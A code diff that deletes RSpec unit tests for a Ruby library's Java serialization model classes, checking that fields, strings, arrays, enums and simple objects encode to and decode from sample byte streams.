class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Byte')
class_desc_new.serial_version = 0x9c4e6084ee50f51c
class_desc_new.flags = 2
field = Rex::Java::Serialization::Model::Field.new
field.type = 'byte'
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'value')
class_desc_new.fields << field
class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new
class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
class_desc_new.super_class = super_class_desc
class_desc.description = class_desc_new
expect(class_desc.encode.unpack("C*")).to eq(sample.unpack("C*"))
end
end
describe "#to_s" do
it "prints a sample ClassDesc" do
class_desc.decode(sample_io)
expect(class_desc.to_s).to be_a(String)
end
end
end

108
spec/lib/rex/java/serialization/model/field_spec.rb
View File

@ -1,108 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::Field do
subject(:field) do
described_class.new
end
let(:sample_primitive) { "I\x00\x06number" }
let(:sample_primitive_io) { StringIO.new(sample_primitive) }
let(:sample_object) { "[\x00\x0atest_arrayt\x00\x0b[LEmployee;" }
let(:sample_object_io) { StringIO.new(sample_object) }
describe ".new" do
it "Rex::Java::Serialization::Model::Field" do
expect(field).to be_a(Rex::Java::Serialization::Model::Field)
end
it "initializes code with empty string" do
expect(field.type).to be_empty
end
it "initializes name with nil" do
expect(field.name).to be_nil
end
it "initializes field_type with nil" do
expect(field.field_type).to be_nil
end
end
describe "#encode" do
context "when empty field" do
it { expect { field.encode }.to raise_error(Rex::Java::Serialization::EncodeError) }
end
context "when primitive field" do
it do
field.type = 'int'
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'number')
expect(field.encode).to eq(sample_primitive)
end
end
context "when object field" do
it do
field.type = 'array'
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'test_array')
field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[LEmployee;')
expect(field.encode).to eq(sample_object)
end
end
end
describe "#decode" do
context "when stream contains a primitive field" do
it "returns a Rex::Java::Serialization::Model::Field" do
expect(field.decode(sample_primitive_io)).to be_a(Rex::Java::Serialization::Model::Field)
end
it "deserializes field type" do
field.decode(sample_primitive_io)
expect(field.type).to eq('int')
end
it "deserializes field name as Utf" do
field.decode(sample_primitive_io)
expect(field.name.contents).to eq('number')
end
end
context "when stream contains an object field" do
it "returns a Rex::Java::Serialization::Model::Field" do
expect(field.decode(sample_object_io)).to be_a(Rex::Java::Serialization::Model::Field)
end
it "deserializes field type" do
field.decode(sample_object_io)
expect(field.type).to eq('array')
end
it "deserializes field name" do
field.decode(sample_object_io)
expect(field.name.contents).to eq('test_array')
end
it "deserializes field_type string" do
field.decode(sample_object_io)
expect(field.field_type.contents).to eq('[LEmployee;')
end
end
end
describe "#to_s" do
it "prints an stream containing a primitive field" do
field.decode(sample_primitive_io)
expect(field.to_s).to eq('number (int)')
end
it "prints an stream containing an object field" do
field.decode(sample_object_io)
expect(field.to_s).to eq('test_array ([LEmployee;)')
end
end
end

107
spec/lib/rex/java/serialization/model/long_utf_spec.rb
View File

@ -1,107 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::LongUtf do
subject(:long_utf) do
described_class.new
end
let(:sample_utf) { "\x00\x00\x00\x00\x00\x00\x00\x10java.lang.Number" }
let(:sample_utf_io) { StringIO.new(sample_utf) }
let(:empty_utf) { "\x00\x00\x00\x00\x00\x00\x00\x00" }
let(:empty_utf_io) { StringIO.new(empty_utf) }
let(:incomplete_utf) { "\x00\x00\x00\x00\x00\x00\x00\x10java.lang.Numb" }
let(:incomplete_utf_io) { StringIO.new(incomplete_utf) }
let(:empty_io) { StringIO.new('') }
describe ".new" do
it "Rex::Java::Serialization::Model::LongUtf" do
expect(long_utf).to be_a(Rex::Java::Serialization::Model::LongUtf)
end
it "initializes length to 0" do
expect(long_utf.length).to eq(0)
end
it "initializes contents with empty string" do
expect(long_utf.contents).to be_empty
end
end
describe "#encode" do
context "when empty long_utf" do
it { expect(long_utf.encode).to eq(empty_utf) }
end
context "when filled utf" do
it do
long_utf.length = 16
long_utf.contents = 'java.lang.Number'
expect(long_utf.encode).to eq(sample_utf)
end
end
end
describe "#decode" do
context "when stream contains empty string" do
it "raises Rex::Java::Serialization::DecodeError" do
expect { long_utf.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end
context "when stream contains empty long_utf" do
it "returns a Rex::Java::Serialization::Model::LongUtf" do
expect(long_utf.decode(empty_utf_io)).to be_a(Rex::Java::Serialization::Model::LongUtf)
end
it "sets length to 0" do
long_utf.decode(empty_utf_io)
expect(long_utf.length).to eq(0)
end
it "sets contents to empty string" do
long_utf.decode(empty_utf_io)
expect(long_utf.contents).to be_empty
end
end
context "when stream contains incomplete long_utf" do
it "returns nil" do
expect { long_utf.decode(incomplete_utf_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end
context "when stream contains correct long_utf" do
it "returns a Rex::Java::Serialization::Model::LongUtf" do
expect(long_utf.decode(sample_utf_io)).to be_a(Rex::Java::Serialization::Model::LongUtf)
end
it "sets length to 0" do
long_utf.decode(sample_utf_io)
expect(long_utf.length).to eq(16)
end
it "sets contents to sample string" do
long_utf.decode(sample_utf_io)
expect(long_utf.contents).to eq('java.lang.Number')
end
end
describe "#to_s" do
it "prints an stream containing a sample long utf" do
long_utf.decode(sample_utf_io)
expect(long_utf.to_s).to eq('java.lang.Number')
end
it "prints an stream containing an empty long utf" do
long_utf.decode(empty_utf_io)
expect(long_utf.to_s).to eq('')
end
end
end
end

469
spec/lib/rex/java/serialization/model/new_array_spec.rb
View File

@ -1,469 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::NewArray do
subject(:new_array) do
described_class.new
end
let(:boolean_array) do
"\x72\x00\x02\x5b\x5a\x57\x8f\x20" +
"\x39\x14\xb8\x5d\xe2\x02\x00\x00" +
"\x78\x70\x00\x00\x00\x0a\x01\x00" +
"\x01\x01\x01\x01\x01\x01\x01\x00"
end
let(:boolean_array_io) { StringIO.new(boolean_array) }
let(:byte_array) do
"\x72\x00\x02\x5b\x42\xac\xf3\x17" +
"\xf8\x06\x08\x54\xe0\x02\x00\x00" +
"\x78\x70\x00\x00\x00\x02\xec\x41"
end
let(:byte_array_io) { StringIO.new(byte_array) }
let(:char_array) do
"\x72\x00\x02\x5b\x43\xb0\x26\x66" +
"\xb0\xe2\x5d\x84\xac\x02\x00\x00" +
"\x78\x70\x00\x00\x00\x02\x00\x61" +
"\x00\x62"
end
let(:char_array_io) { StringIO.new(char_array) }
let(:short_array) do
"\x72\x00\x02\x5b\x53\xef\x83\x2e" +
"\x06\xe5\x5d\xb0\xfa\x02\x00\x00" +
"\x78\x70\x00\x00\x00\x02\xff\xec" +
"\x00\x41"
end
let(:short_array_io) { StringIO.new(short_array) }
let(:double_array) do
"\x72\x00\x02\x5b\x44\x3e\xa6\x8c" +
"\x14\xab\x63\x5a\x1e\x02\x00\x00" +
"\x78\x70\x00\x00\x00\x02\x3f\xd0" +
"\x00\x00\x00\x00\x00\x00\x3f\xca" +
"\xe1\x47\xae\x14\x7a\xe1"
end
let(:double_array_io) { StringIO.new(double_array) }
let(:float_array) do
"\x72\x00\x02\x5b\x46\x0b\x9c\x81" +
"\x89\x22\xe0\x0c\x42\x02\x00\x00" +
"\x78\x70\x00\x00\x00\x02\x3f\x80" +
"\x00\x00\x40\x00\x00\x00"
end
let(:float_array_io) { StringIO.new(float_array) }
let(:int_array) do
"\x72\x00\x02\x5b\x49\x4d\xba\x60" +
"\x26\x76\xea\xb2\xa5\x02\x00\x00" +
"\x78\x70\x00\x00\x00\x02\xff\xff" +
"\xff\xec\x00\x00\x00\x41"
end
let(:int_array_io) { StringIO.new(int_array) }
let(:long_array) do
"\x72\x00\x02\x5b\x4a\x78\x20\x04" +
"\xb5\x12\xb1\x75\x93\x02\x00\x00" +
"\x78\x70\x00\x00\x00\x02\xff\xff" +
"\xff\xff\xff\xff\xff\xec\x00\x00" +
"\x00\x00\x00\x00\x00\x41"
end
let(:long_array_io) { StringIO.new(long_array) }
let(:string_array) do
"\x72\x00\x13\x5b\x4c\x6a\x61\x76" +
"\x61\x2e\x6c\x61\x6e\x67\x2e\x53" +
"\x74\x72\x69\x6e\x67\x3b\xad\xd2" +
"\x56\xe7\xe9\x1d\x7b\x47\x02\x00" +
"\x00\x78\x70\x00\x00\x00\x01\x74" +
"\x00\x03\x6d\x73\x66"
end
let(:string_array_io) { StringIO.new(string_array) }
describe ".new" do
it "Rex::Java::Serialization::Model::NewArray" do
expect(new_array).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "initializes array_description with nil" do
expect(new_array.array_description).to be_nil
end
it "initializes type with an empty String" do
expect(new_array.type).to be_empty
end
it "initializes values with an empty Array" do
expect(new_array.values).to be_empty
end
end
describe "#decode" do
context "when boolean Array" do
it "deserializes Array" do
expect(new_array.decode(boolean_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "deserializes type correctly" do
new_array.decode(boolean_array_io)
expect(new_array.type).to eq('boolean')
end
it "deserializes values correctly" do
new_array.decode(boolean_array_io)
expect(new_array.values).to eq([1, 0, 1, 1, 1, 1, 1, 1, 1, 0])
end
end
context "when byte Array" do
it "deserializes Array" do
expect(new_array.decode(byte_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "deserializes type correctly" do
new_array.decode(byte_array_io)
expect(new_array.type).to eq('byte')
end
it "deserializes values correctly" do
new_array.decode(byte_array_io)
expect(new_array.values).to eq([-20, 65])
end
end
context "when char Array" do
it "deserializes Array" do
expect(new_array.decode(char_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "deserializes type correctly" do
new_array.decode(char_array_io)
expect(new_array.type).to eq('char')
end
it "deserializes values correctly" do
new_array.decode(char_array_io)
expect(new_array.values).to eq([97, 98])
end
end
context "when short Array" do
it "deserializes Array" do
expect(new_array.decode(short_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "deserializes type correctly" do
new_array.decode(short_array_io)
expect(new_array.type).to eq('short')
end
it "deserializes values correctly" do
new_array.decode(short_array_io)
expect(new_array.values).to eq([-20, 65])
end
end
context "when double Array" do
it "deserializes Array" do
expect(new_array.decode(double_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "deserializes type correctly" do
new_array.decode(double_array_io)
expect(new_array.type).to eq('double')
end
it "deserializes values correctly" do
new_array.decode(double_array_io)
expect(new_array.values).to eq([0.25, 0.21])
end
end
context "when float Array" do
it "deserializes a float Array" do
expect(new_array.decode(float_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "deserializes type correctly" do
new_array.decode(float_array_io)
expect(new_array.type).to eq('float')
end
it "deserializes values correctly" do
new_array.decode(float_array_io)
expect(new_array.values).to eq([1.0, 2.0])
end
end
context "when int Array" do
it "deserializes Array" do
expect(new_array.decode(int_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "deserializes type correctly" do
new_array.decode(int_array_io)
expect(new_array.type).to eq('int')
end
it "deserializes values correctly" do
new_array.decode(int_array_io)
expect(new_array.values).to eq([-20, 65])
end
end
context "when long Array" do
it "deserializes Array" do
expect(new_array.decode(long_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "deserializes type correctly" do
new_array.decode(long_array_io)
expect(new_array.type).to eq('long')
end
it "deserializes values correctly" do
new_array.decode(long_array_io)
expect(new_array.values).to eq([-20, 65])
end
end
context "when Strings (Objects) array" do
it "deserializes the array" do
expect(new_array.decode(string_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "deserializes type correctly" do
new_array.decode(string_array_io)
expect(new_array.type).to eq('java.lang.String;')
end
it "deserializes number of members correctly" do
new_array.decode(string_array_io)
expect(new_array.values.length).to eq(1)
end
it "deserializes the members correctly" do
new_array.decode(string_array_io)
expect(new_array.values[0].contents).to eq('msf')
end
end
end
describe "#encode" do
it "serializes a boolean Array" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Z')
new_class_desc.serial_version = 0x578f203914b85de2
new_class_desc.flags = 2
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
new_array.array_description.description = new_class_desc
new_array.type = 'boolean'
new_array.values = [1, 0, 1, 1, 1, 1, 1, 1, 1, 0]
expect(new_array.encode.unpack("C*")).to eq(boolean_array.unpack("C*"))
end
it "serializes a byte Array" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[B')
new_class_desc.serial_version = 0xacf317f8060854e0
new_class_desc.flags = 2
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
new_array.array_description.description = new_class_desc
new_array.type = 'byte'
new_array.values = [-20, 65]
expect(new_array.encode.unpack("C*")).to eq(byte_array.unpack("C*"))
end
it "serializes a char Array" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[C')
new_class_desc.serial_version = 0xb02666b0e25d84ac
new_class_desc.flags = 2
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
new_array.array_description.description = new_class_desc
new_array.type = 'char'
new_array.values = [97, 98]
expect(new_array.encode.unpack("C*")).to eq(char_array.unpack("C*"))
end
it "serializes a short Array" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[S')
new_class_desc.serial_version = 0xef832e06e55db0fa
new_class_desc.flags = 2
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
new_array.array_description.description = new_class_desc
new_array.type = 'short'
new_array.values = [-20, 65]
expect(new_array.encode.unpack("C*")).to eq(short_array.unpack("C*"))
end
it "serializes a double Array" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[D')
new_class_desc.serial_version = 0x3ea68c14ab635a1e
new_class_desc.flags = 2
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
new_array.array_description.description = new_class_desc
new_array.type = 'double'
new_array.values = [0.25, 0.21]
expect(new_array.encode.unpack("C*")).to eq(double_array.unpack("C*"))
end
it "serializes a float Array" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[F')
new_class_desc.serial_version = 0xb9c818922e00c42
new_class_desc.flags = 2
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
new_array.array_description.description = new_class_desc
new_array.type = 'float'
new_array.values = [1.0, 2.0]
expect(new_array.encode.unpack("C*")).to eq(float_array.unpack("C*"))
end
it "serializes a int Array" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[I')
new_class_desc.serial_version = 0x4dba602676eab2a5
new_class_desc.flags = 2
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
new_array.array_description.description = new_class_desc
new_array.type = 'int'
new_array.values = [-20, 65]
expect(new_array.encode.unpack("C*")).to eq(int_array.unpack("C*"))
end
it "serializes a long Array" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[J')
new_class_desc.serial_version = 0x782004b512b17593
new_class_desc.flags = 2
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
new_array.array_description.description = new_class_desc
new_array.type = 'long'
new_array.values = [-20, 65]
expect(new_array.encode.unpack("C*")).to eq(long_array.unpack("C*"))
end
it "serializes a String (Objects) Array" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.String;')
new_class_desc.serial_version = 0xadd256e7e91d7b47
new_class_desc.flags = 2
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
new_array.array_description.description = new_class_desc
new_array.type = 'java.lang.String;'
new_array.values = [ Rex::Java::Serialization::Model::Utf.new(nil, 'msf') ]
expect(new_array.encode.unpack("C*")).to eq(string_array.unpack("C*"))
end
end
describe "#to_s" do
it "prints a boolean array stream" do
new_array.decode(boolean_array_io)
expect(new_array.to_s).to eq('boolean, ["1", "0", "1", "1", "1", "1", "1", "1", "1", "0"]')
end
it "prints a byte array stream" do
new_array.decode(byte_array_io)
expect(new_array.to_s).to eq('byte, ["-20", "65"]')
end
it "prints a char array stream" do
new_array.decode(char_array_io)
expect(new_array.to_s).to eq('char, ["97", "98"]')
end
it "prints a short array stream" do
new_array.decode(short_array_io)
expect(new_array.to_s).to eq('short, ["-20", "65"]')
end
it "prints a double array stream" do
new_array.decode(double_array_io)
expect(new_array.to_s).to eq('double, ["0.25", "0.21"]')
end
it "prints a float array stream" do
new_array.decode(float_array_io)
expect(new_array.to_s).to eq('float, ["1.0", "2.0"]')
end
it "prints a int array stream" do
new_array.decode(int_array_io)
expect(new_array.to_s).to eq('int, ["-20", "65"]')
end
it "prints a long array stream" do
new_array.decode(long_array_io)
expect(new_array.to_s).to eq('long, ["-20", "65"]')
end
it "prints a string array stream" do
new_array.decode(string_array_io)
expect(new_array.to_s).to eq('java.lang.String;, ["msf"]')
end
end
end

143
spec/lib/rex/java/serialization/model/new_class_desc_spec.rb
View File

@ -1,143 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::NewClassDesc do
subject(:class_desc_new) do
described_class.new
end
let(:sample) do
"\x00\x0e\x6a\x61\x76\x61\x2e\x6c\x61\x6e" +
"\x67\x2e\x42\x79\x74\x65\x9c\x4e\x60\x84\xee\x50\xf5\x1c\x02\x00" +
"\x01\x42\x00\x05\x76\x61\x6c\x75\x65\x78\x72\x00\x10\x6a\x61\x76" +
"\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95" +
"\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x78\x70"
end
let(:sample_io) { StringIO.new(sample) }
describe ".new" do
it "Rex::Java::Serialization::Model::NewClassDesc" do
expect(class_desc_new).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
end
it "initializes class_name with nil" do
expect(class_desc_new.class_name).to be_nil
end
it "initializes serial_version with 0" do
expect(class_desc_new.serial_version).to eq(0)
end
it "initializes flags with 0" do
expect(class_desc_new.flags).to eq(0)
end
it "initializes fields with empty Array" do
expect(class_desc_new.fields).to be_empty
end
it "initializes class_annotation with nil" do
expect(class_desc_new.class_annotation).to be_nil
end
it "initializes super_class with nil" do
expect(class_desc_new.super_class).to be_nil
end
end
describe "#decode" do
it "returns a Rex::Java::Serialization::Model::NewClassDesc" do
expect(class_desc_new.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
end
it "deserializes class_name as Utf" do
class_desc_new.decode(sample_io)
expect(class_desc_new.class_name).to be_a(Rex::Java::Serialization::Model::Utf)
end
it "deserializes class_name contents correctly" do
class_desc_new.decode(sample_io)
expect(class_desc_new.class_name.contents).to eq('java.lang.Byte')
end
it "deserializes serial_version correctly" do
class_desc_new.decode(sample_io)
expect(class_desc_new.serial_version).to eq(0x9c4e6084ee50f51c)
end
it "deserializes flags correctly" do
class_desc_new.decode(sample_io)
expect(class_desc_new.flags).to eq(2)
end
it "deserializes fields" do
class_desc_new.decode(sample_io)
expect(class_desc_new.fields.length).to eq(1)
end
it "deserializes fields contents correctly" do
class_desc_new.decode(sample_io)
expect(class_desc_new.fields[0].type).to eq('byte')
end
it "deserializes class annotation correctly" do
class_desc_new.decode(sample_io)
expect(class_desc_new.class_annotation).to be_a(Rex::Java::Serialization::Model::Annotation)
end
it "deserializes class annotation contents" do
class_desc_new.decode(sample_io)
expect(class_desc_new.class_annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::EndBlockData)
end
it "deserializes super_class" do
class_desc_new.decode(sample_io)
expect(class_desc_new.super_class).to be_a(Rex::Java::Serialization::Model::ClassDesc)
end
it "deserializes super class description" do
class_desc_new.decode(sample_io)
expect(class_desc_new.super_class.description).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
end
end
describe "#encode" do
it "serializes a NewClassDesc" do
super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new
super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Number')
super_class_desc_new.serial_version = 0x86ac951d0b94e08b
super_class_desc_new.flags = 2
super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new
super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new
super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new
super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new
super_class_desc.description = super_class_desc_new
class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Byte')
class_desc_new.serial_version = 0x9c4e6084ee50f51c
class_desc_new.flags = 2
field = Rex::Java::Serialization::Model::Field.new
field.type = 'byte'
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'value')
class_desc_new.fields << field
class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new
class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
class_desc_new.super_class = super_class_desc
expect(class_desc_new.encode.unpack("C*")).to eq(sample.unpack("C*"))
end
end
describe "#to_s" do
it "prints a sample NewClassDesc stream" do
class_desc_new.decode(sample_io)
expect(class_desc_new.to_s).to eq('java.lang.Byte, [ value (byte) ], @super_class: java.lang.Number')
end
end
end

83
spec/lib/rex/java/serialization/model/new_enum_spec.rb
View File

@ -1,83 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::NewEnum do
subject(:new_enum) do
described_class.new
end
let(:sample_enum) do
"\x72\x00\x09\x45\x6e\x75\x6d\x73" +
"\x24\x44\x61\x79\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x12\x00\x00\x78" +
"\x72\x00\x0e\x6a\x61\x76\x61\x2e" +
"\x6c\x61\x6e\x67\x2e\x45\x6e\x75" +
"\x6d\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x12\x00\x00\x78\x70\x74\x00" +
"\x06\x53\x55\x4e\x44\x41\x59"
end
let(:sample_enum_io) { StringIO.new(sample_enum) }
describe ".new" do
it "Rex::Java::Serialization::Model::NewEnum" do
expect(new_enum).to be_a(Rex::Java::Serialization::Model::NewEnum)
end
it "initializes enum_description with nil" do
expect(new_enum.enum_description).to be_nil
end
it "initializes constant_name with nil" do
expect(new_enum.constant_name).to be_nil
end
end
describe "#decode" do
it "deserializes an Enum" do
expect(new_enum.decode(sample_enum_io)).to be_a(Rex::Java::Serialization::Model::NewEnum)
end
it "deserializes the constant_name correctly" do
new_enum.decode(sample_enum_io)
expect(new_enum.constant_name.contents).to eq('SUNDAY')
end
end
describe "#encode" do
it "serializes an Enum" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'Enums$Day')
new_class_desc.serial_version = 0
new_class_desc.flags = 18
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.super_class.description.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Enum')
new_class_desc.super_class.description.serial_version = 0
new_class_desc.super_class.description.flags = 18
new_class_desc.super_class.description.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.super_class.description.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class.description.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_enum.enum_description = Rex::Java::Serialization::Model::ClassDesc.new
new_enum.enum_description.description = new_class_desc
new_enum.constant_name = Rex::Java::Serialization::Model::Utf.new(nil, 'SUNDAY')
expect(new_enum.encode.unpack("C*")).to eq(sample_enum.unpack("C*"))
end
end
describe "#to_s" do
it "prints a sample NewEnum stream" do
new_enum.decode(sample_enum_io)
expect(new_enum.to_s).to eq('SUNDAY')
end
end
end

82
spec/lib/rex/java/serialization/model/new_object_spec.rb
View File

@ -1,82 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::NewObject do
subject(:new_object) do
described_class.new
end
let(:easy_object) do
"\x72\x00\x04\x45\x61\x73\x79\x74" +
"\x1d\xe1\xbc\xbb\x2f\xcb\xaa\x02" +
"\x00\x01\x49\x00\x03\x53\x53\x4e" +
"\x78\x70\x41\x42\x43\x44"
end
let(:easy_object_io) { StringIO.new(easy_object) }
describe ".new" do
it "Rex::Java::Serialization::Model::NewObject" do
expect(new_object).to be_a(Rex::Java::Serialization::Model::NewObject)
end
it "initializes class_desc with nil" do
expect(new_object.class_desc).to be_nil
end
it "initializes class_data with empty array" do
expect(new_object.class_data).to be_empty
end
end
describe "#decode" do
it "deserializes an object" do
expect(new_object.decode(easy_object_io)).to be_a(Rex::Java::Serialization::Model::NewObject)
end
it "deserializes the object class fields correctly" do
new_object.decode(easy_object_io)
expect(new_object.class_desc.description.fields.length).to eq(1)
end
it "deserializes the object class data correctly" do
new_object.decode(easy_object_io)
expect(new_object.class_data).to eq([['int', 0x41424344]])
end
end
describe "#encode" do
it "serializes an Object" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'Easy')
new_class_desc.serial_version = 0x741de1bcbb2fcbaa
new_class_desc.flags = 2
field = Rex::Java::Serialization::Model::Field.new
field.type = 'int'
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'SSN')
new_class_desc.fields << field
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
new_object.class_desc.description = new_class_desc
new_object.class_data = [['int', 0x41424344]]
expect(new_object.encode.unpack("C*")).to eq(easy_object.unpack("C*"))
end
end
describe "#to_s" do
it "prints a sample Object stream" do
new_object.decode(easy_object_io)
